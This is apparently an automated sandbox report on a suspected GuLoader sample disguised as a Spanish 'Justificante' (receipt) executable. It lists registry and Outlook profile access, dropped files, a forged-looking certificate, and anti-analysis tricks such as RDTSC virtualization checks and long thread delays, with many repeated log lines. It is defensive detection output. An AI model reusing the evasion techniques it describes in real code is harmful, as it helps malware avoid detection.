Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File written: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\dogging\Tvejrs.ini

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Justificante67ab404ffe31b359e00a499e656454545.exe

Static file information: File size 1180672 > 1048576

Source: Justificante67ab404ffe31b359e00a499e656454545.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2049807822.00000000028B7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_6FC41A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_6FC41A98

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_6FC42F60 push eax; ret	0_2_6FC42F8E
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_02559C30 push esp; retf 0260h	4_2_02559D55
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_367F349B push ss; retf	4_2_367F34AE

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate where issuer matches subject exactly 2) Organization 'Fejlbehandlingen' is not a known legitimate company 3) Email domain 'Efterhngtes.Dse' appears to be suspicious/non-standard 4) Certificate validation explicitly fails with untrusted root certificate 5) Large time gap between compilation date (July 2021) and certificate creation (Nov 2024) suggests potential certificate manipulation 6) While the country is Germany (DE) which is generally trusted, the combination of an unknown organization with invalid certificate signature is very concerning. The certificate appears crafted to look legitimate but fails basic trust validation.

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File created: C:\Users\user\AppData\Local\Temp\nsd1568.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	API/Special instruction interceptor: Address: 2DE681D
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	API/Special instruction interceptor: Address: 1D9681D

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	RDTSC instruction interceptor: First address: 2DBEFB2 second address: 2DBEFB2 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF2DCDB99F8h 0x00000006 inc ebp 0x00000007 test bl, dl 0x00000009 inc ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	RDTSC instruction interceptor: First address: 1D6EFB2 second address: 1D6EFB2 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FF2DCFB3538h 0x00000006 inc ebp 0x00000007 test bl, dl 0x00000009 inc ebx 0x0000000a rdtsc

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Memory allocated: 2550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Memory allocated: 32D90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Memory allocated: 32A80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Thread delayed: delay time: 599657	Jump to behavior
